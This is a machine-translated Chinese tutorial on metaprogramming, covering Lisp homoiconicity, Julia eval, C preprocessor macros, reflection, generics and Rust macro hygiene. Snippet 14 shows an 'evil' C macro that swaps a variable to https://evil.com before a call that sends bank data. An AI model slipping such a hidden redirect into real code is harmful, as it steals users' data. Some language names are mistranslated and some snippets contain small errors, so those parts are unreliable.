代碼編寫代碼:現代元編程理論與實踐導論

已發表: 2022-07-22

每當我想到解釋宏的最佳方式時,我都會想起我剛開始編程時寫的一個 Python 程序。 我無法按照我想要的方式組織它。 我不得不調用一些略有不同的函數,代碼變得很麻煩。 我正在尋找的——雖然當時我並不知道——是元編程

元編程(名詞)

程序可以將代碼視為數據的任何技術。

我們可以構建一個示例,通過想像我們正在為寵物主人構建應用程序的後端來演示我在 Python 項目中遇到的相同問題。 使用庫中的工具pet_sdk ,我們編寫 Python 來幫助寵物主人購買貓糧:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
片段 1:訂購貓糧

在確認代碼有效後,我們繼續為另外兩種寵物(鳥和狗)實現相同的邏輯。 我們還添加了一項功能來預約獸醫:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
片段 2:訂購貓糧、狗糧和鳥糧; 預約獸醫

把 Snippet 2 的重複邏輯濃縮成一個循環就好了,所以我們著手重寫代碼。 我們很快意識到,由於每個函數的名稱不同,我們無法確定在循環中調用哪一個(例如book_bird_appointmentbook_cat_appointment ):

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
片段3:現在怎麼辦?

讓我們想像一個 Python 的渦輪增壓版本,在其中我們可以編寫程序來自動生成我們想要的最終代碼——我們可以在其中靈活、輕鬆、流暢地操作我們的程序,就好像它是一個列表、文件中的數據或任何其他常見數據類型或程序輸入:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
片段 4:TurboPython:一個虛構的程序

這是一個的示例,可以在 Rust、Julia 或 C 等語言中使用,但不包括 Python。

這個場景是一個很好的例子,說明編寫一個能夠修改和操作自己的代碼的程序是多麼有用。 這正是宏的魅力所在,也是對一個更大問題的眾多答案之一:我們如何讓程序自省自己的代碼,將其視為數據,然後根據自省採取行動?

從廣義上講,所有可以完成這種內省的技術都屬於“元編程”這一概括性術語。 元編程是編程語言設計中一個豐富的子領域,它可以追溯到一個重要的概念:代碼即數據。

反思:為 Python 辯護

您可能會指出,儘管 Python 可能不提供宏支持,但它提供了許多其他方法來編寫此代碼。 例如,這裡我們使用isinstance()方法來識別我們的animal變量是一個實例的類並調用適當的函數:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
片段 5:一個慣用的例子

我們稱這種類型的元編程反射,我們稍後再討論它。 Snippet 5 的代碼仍然有點麻煩,但對於程序員來說比 Snippet 2 更容易編寫,在 Snippet 2 中,我們為每個列出的動物重複了邏輯。

挑戰

使用getattr方法,修改前面的代碼以動態調用相應的order_*_foodbook_*_appointment函數。 可以說這會降低代碼的可讀性,但如果您對 Python 非常了解,那麼值得考慮如何使用getattr而不是isinstance函數,並簡化代碼。


同音性:Lisp 的重要性

一些編程語言,如 Lisp,通過同音性將元編程的概念提升到另一個層次。

同音性(名詞)

一種編程語言的特性,代碼和程序運行的數據之間沒有區別。

Lisp 創建於 1958 年,是最古老的諧音語言,也是第二古老的高級編程語言。 Lisp 得名於“LISt 處理器”,它是計算領域的一場革命,它深刻地塑造了計算機的使用和編程方式。 怎麼誇大 Lisp 對編程的根本和獨特影響都不為過。

Emacs 是用 Lisp 編寫的,這是唯一漂亮的計算機語言。 尼爾史蒂芬森

Lisp 是在 FORTRAN 之後僅一年創建的,當時是打孔卡和充滿房間的軍用計算機的時代。 然而,今天的程序員仍然使用 Lisp 來編寫新的現代應用程序。 Lisp 的主要創造者 John McCarthy 是 AI 領域的先驅。 多年來,Lisp 一直是人工智能的語言,研究人員非常看重動態重寫自己代碼的能力。 今天的人工智能研究集中在神經網絡和復雜的統計模型上,而不是那種類型的邏輯生成代碼。 然而,使用 Lisp 對 AI 所做的研究——尤其是 60 年代和 70 年代在麻省理工學院和斯坦福大學進行的研究——創造了我們所知道的領域,並且它的巨大影響力仍在繼續。

Lisp 的出現使早期程序員第一次接觸到遞歸、高階函數和鍊錶等實際計算的可能性。 它還展示了基於 lambda 演算思想的編程語言的強大功能。

這些概念引發了編程語言設計的爆炸式增長,正如計算機科學界最偉大的人物之一 Edsger Dijkstra 所說, [...] 幫助了我們一些最有天賦的人類同胞思考以前不可能的想法。”

這個例子展示了一個簡單的 Lisp 程序(以及它在更熟悉的 Python 語法中的等價物),它定義了一個函數“階乘”,該函數遞歸地計算其輸入的階乘並使用輸入“7”調用該函數:

語言Python
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

代碼即數據

儘管是 Lisp 最有影響力和最重要的創新之一,但與遞歸和 Lisp 開創的許多其他概念不同,同音性並沒有成為當今大多數編程語言。

下表比較了在 Julia 和 Lisp 中返回代碼的同音函數。 Julia 是一種同音語言,在許多方面都類似於您可能熟悉的高級語言(例如 Python、Ruby)。

每個示例中的關鍵句法是其引用字符。 Julia 使用:冒號)來引用,而 Lisp 使用' (單引號):

朱莉婭語言
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

在這兩個示例中,主表達式 ( (x + 1)(+ x 1) ) 旁邊的引號將其從直接評估的代碼轉換為我們可以操作的抽象表達式。 該函數返回代碼——不是字符串或數據。 如果我們要調用我們的函數並編寫print(function_that_returns_code()) ,Julia 會打印字符串化為x+1的代碼(Lisp 的等價物也是如此)。 相反,如果沒有:或 Lisp 中' ),我們會得到x未定義的錯誤。

讓我們回到我們的 Julia 示例並擴展它:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
片段 6:擴展的 Julia 示例

eval函數可用於運行我們從程序的其他地方生成的代碼。 請注意,打印出來的值是基於x變量的定義。 如果我們試圖在未定義x的上下文中eval我們生成的代碼,我們會得到一個錯誤。

Homoicicity 是一種強大的元編程,能夠解鎖新穎而復雜的編程範式,在這些範式中程序可以動態適應,生成代碼以適應特定領域的問題或遇到的新數據格式。

以 WolframAlpha 為例,同音 Wolfram 語言可以生成代碼以適應令人難以置信的問題範圍。 你可以問 WolframAlpha,“紐約市的 GDP 除以安道爾的人口是多少?” 並且,值得注意的是,收到了合乎邏輯的回應。

似乎沒有人會想到將這種晦澀且毫無意義的計算包含在數據庫中,但 Wolfram 使用元編程和本體知識圖來編寫動態代碼來回答這個問題。

了解 Lisp 和其他同音語言提供的靈活性和強大功能非常重要。 在我們進一步深入之前,讓我們考慮一些可供您使用的元編程選項:

定義例子筆記
同音性代碼是“一流”數據的語言特徵。 由於代碼和數據之間沒有分離,因此兩者可以互換使用。
  • 語言
  • 序言
  • 朱莉婭
  • Rebol/紅色
  • Wolfram 語言
在這裡,Lisp 包括 Lisp 家族中的其他語言,例如 Scheme、Racket 和 Clojure。
將代碼作為輸入並返回代碼作為輸出的語句、函數或表達式。
  • Rust 的macro_rules! , Derive和過程宏
  • Julia 的@macro調用
  • Lisp 的defmacro
  • C的#define
(請參閱關於 C 的宏的下一個註釋。)
預處理器指令(或預編譯器) 將程序作為輸入並根據代碼中包含的語句返回程序的更改版本作為輸出的系統。
  • C 的宏
  • C++的#預處理器系統
C 的宏是使用 C 的預處理器系統實現的,但兩者是不同的概念。

C 的宏(我們在其中使用#define預處理器指令)和其他形式的 C 預處理器指令(例如#if#ifndef )之間的關鍵概念區別在於,我們使用宏來生成代碼,同時使用其他非#define預處理器指令有條件地編譯其他代碼。 這兩者在 C 和其他一些語言中密切相關,但它們是不同類型的元編程。
反射程序檢查、修改和反省自己代碼的能力。
  • Python 的isinstance , getattr , 函數
  • JavaScript 的Reflecttypeof
  • Java 的getDeclaredMethods
  • .NET 的System.Type類層次結構
反射可以發生在編譯時或運行時。
泛型編寫對多種不同類型有效或可在多種上下文中使用但存儲在一個位置的代碼的能力。 我們可以顯式或隱式定義代碼有效的上下文。

模板風格的泛型:

  • C++
  • 爪哇

參數多態性:

  • 哈斯克爾
  • 機器學習
泛型編程是一個比泛型元編程更廣泛的話題,兩者之間的界限並沒有很好的定義。

在這位作者看來,參數類型系統只有在使用靜態類型語言時才算作元編程。
元編程參考

讓我們看一些用各種編程語言編寫的同音性、宏、預處理器指令、反射和泛型的動手示例:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
片段 7:Julia 中的同音性
int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
片段 8:C 中的預處理器指令
from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
片段 9:Python 中的反射
import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
片段 10:Java 中的泛型
macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
片段 11:Rust 中的宏

宏(如 Snippet 11 中的宏)在新一代編程語言中再次流行起來。 為了成功開發這些,我們必須考慮一個關鍵主題:衛生。

衛生和不衛生的宏

代碼“衛生”或“不衛生”是什麼意思? 為了澄清,讓我們看一下由macro_rules! 功能。 顧名思義, macro_rules! 根據我們定義的規則生成代碼。 在這種情況下,我們將宏命名為my_macro ,規則是“創建代碼行let x = $n ”,其中n是我們的輸入:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
片段 12:Rust 中的衛生

當我們擴展我們的宏(運行一個宏以用它生成的代碼替換它的調用)時,我們期望得到以下內容:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
片段 13:我們的示例,擴展

看起來,我們的宏重新定義了變量x等於 3,所以我們可以合理地期望程序打印3 。 事實上,它打印5 ! 驚訝嗎? 在 Rust 中, macro_rules! 就標識符而言是衛生的,因此它不會“捕獲”其範圍之外的標識符。 在這種情況下,標識符是x 。 如果它被宏捕獲,它將等於 3。

衛生(名詞)

保證宏的擴展不會捕獲超出宏範圍的標識符或其他狀態的屬性。 不提供此屬性的宏和宏系統稱為不衛生的。

宏中的衛生在開發人員中是一個頗具爭議的話題。 支持者堅持認為,如果沒有衛生,很容易意外地巧妙地修改代碼的行為。 想像一個比 Snippet 13 複雜得多的宏,它用於具有許多變量和其他標識符的複雜代碼。 如果該宏使用與您的代碼相同的變量之一——而您沒有註意到,該怎麼辦?

開發人員在沒有閱讀源代碼的情況下使用來自外部庫的宏並不罕見。 這在提供宏支持的較新語言中尤其常見(例如,Rust 和 Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
片段 14:邪惡的 C 宏

C 中的這個不衛生的宏會捕獲標識符website並更改其值。 當然,標識符捕獲不是惡意的。 這只是使用宏的偶然結果。

所以,衛生宏是好的,不衛生的宏是壞的,對吧? 不幸的是,事情並沒有那麼簡單。 有充分的理由證明衛生宏限制了我們。 有時,標識符捕獲很有用。 讓我們重溫 Snippet 2,這裡我們使用pet_sdk為三種寵物提供服務。 我們的原始代碼是這樣開始的:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Snippet 15:Back to the Vet-Recalling pet sdk

你會記得,Snippet 3 試圖將 Snippet 2 的重複邏輯濃縮成一個包羅萬象的循環。 但是,如果我們的代碼依賴於標識符catsdogs ,並且我們想要編寫如下內容:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
片段 16:有用的標識符捕獲(在想像中的“TurboPython”中)

當然,片段 16 有點簡單,但想像一下我們希望宏編寫 100% 給定代碼部分的情況。 在這種情況下,衛生宏可能會受到限制。

雖然衛生與不衛生的宏觀辯論可能很複雜,但好消息是,這不是你必須採取的立場。 你使用的語言決定了你的宏是衛生的還是不衛生的,所以在使用宏時要記住這一點。

現代宏

宏現在有點時間。 很長一段時間以來,現代命令式編程語言的重點從宏作為其功能的核心部分轉移,避開宏,轉而支持其他類型的元編程。

新程序員在學校學習的語言(例如 Python 和 Java)告訴他們,他們所需要的只是反射和泛型。

隨著時間的推移,隨著這些現代語言的流行,宏開始與令人生畏的 C 和 C++ 預處理器語法聯繫在一起——如果程序員甚至完全意識到它們的話。

然而,隨著 Rust 和 Julia 的出現,趨勢已經轉向宏。 Rust 和 Julia 是兩種現代、可訪問且廣泛使用的語言,它們通過一些新的和創新的想法重新定義和普及了宏的概念。 這在 Julia 中尤其令人興奮,它看起來有望取代 Python 和 R,成為一種易於使用、“包含電池”的多功能語言。

當我們第一次通過“TurboPython”眼鏡查看pet_sdk時,我們真正想要的是 Julia。 讓我們用 Julia 重寫 Snippet 2,使用它的同音性和它提供的一些其他元編程工具:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
片段 17:Julia 宏的力量——讓pet_sdk為我們工作

讓我們分解片段 17:

  1. 我們遍曆三個元組。 其中第一個是("cat", :clean_litterbox) ,因此變量pet被分配給"cat" ,變量care_fn被分配給帶引號的符號:clean_litterbox
  2. 我們使用Meta.parse函數將字符串轉換為Expression ,因此我們可以將其評估為代碼。 在這種情況下,我們想利用字符串插值的力量,我們可以將一個字符串放入另一個字符串,來定義要調用的函數。
  3. 我們使用eval函數來運行我們正在生成的代碼。 @eval begin… end是另一種編寫eval(...)以避免重新輸入代碼的方式。 @eval塊內部是我們動態生成並運行的代碼。

Julia 的元編程系統真正讓我們自由地以我們想要的方式表達我們想要的東西。 我們可以使用其他幾種方法,包括反射(如 Snippet 5 中的 Python)。 我們還可以編寫一個宏函數來顯式生成特定動物的代碼,或者我們可以將整個代碼生成為字符串並使用Meta.parse或這些方法的任意組合。

超越 Julia:其他現代元編程系統

Julia 可能是現代宏觀系統中最有趣和最引人注目的例子之一,但無論如何,它並不是唯一的。 Rust 也有助於再次將宏帶到程序員面前。

在 Rust 中,宏的功能比在 Julia 中更重要,儘管我們不會在這裡全面探討。 出於多種原因,不使用宏就無法編寫慣用的 Rust。 然而,在 Julia 中,您可以選擇完全忽略同調性和宏觀系統。

作為這種中心性的直接後果,Rust 生態系統已經真正接受了宏。 社區成員構建了一些非常酷的庫、概念證明和宏功能,包括可以序列化和反序列化數據、自動生成 SQL 甚至將代碼中的註釋轉換為另一種編程語言的工具,所有這些都在代碼中生成編譯時間。

雖然 Julia 的元編程可能更具表現力和自由度,但 Rust 可能是提升元編程的現代語言的最佳示例,因為它在整個語言中都有很多特色。

展望未來

現在是對編程語言感興趣的絕佳時機。 今天,我可以用 C++ 編寫應用程序並在 Web 瀏覽器中運行它,或者用 JavaScript 編寫應用程序以在桌面或手機上運行。 進入壁壘從未如此之低,新程序員前所未有地觸手可及信息。

在這個程序員選擇和自由的世界裡,我們越來越有幸使用豐富的現代語言,這些語言從計算機科學和早期編程語言的歷史中挑選出一些特性和概念。 看到宏在這波開發浪潮中被拾起並塵埃落定,真是令人興奮。 我迫不及待地想看看新一代的開發人員會做什麼,因為 Rust 和 Julia 將他們介紹給宏。 請記住,“代碼即數據”不僅僅是一個標語。 在任何在線社區或學術環境中討論元編程時,要牢記這一核心思想。

“代碼即數據”不僅僅是一個標語。

鳴叫

正如我們今天所知,元編程的 64 年曆史一直是編程發展不可或缺的一部分。 雖然我們探索的創新和歷史只是元編程傳奇的一角,但它們說明了現代元編程的強大功能和實用性。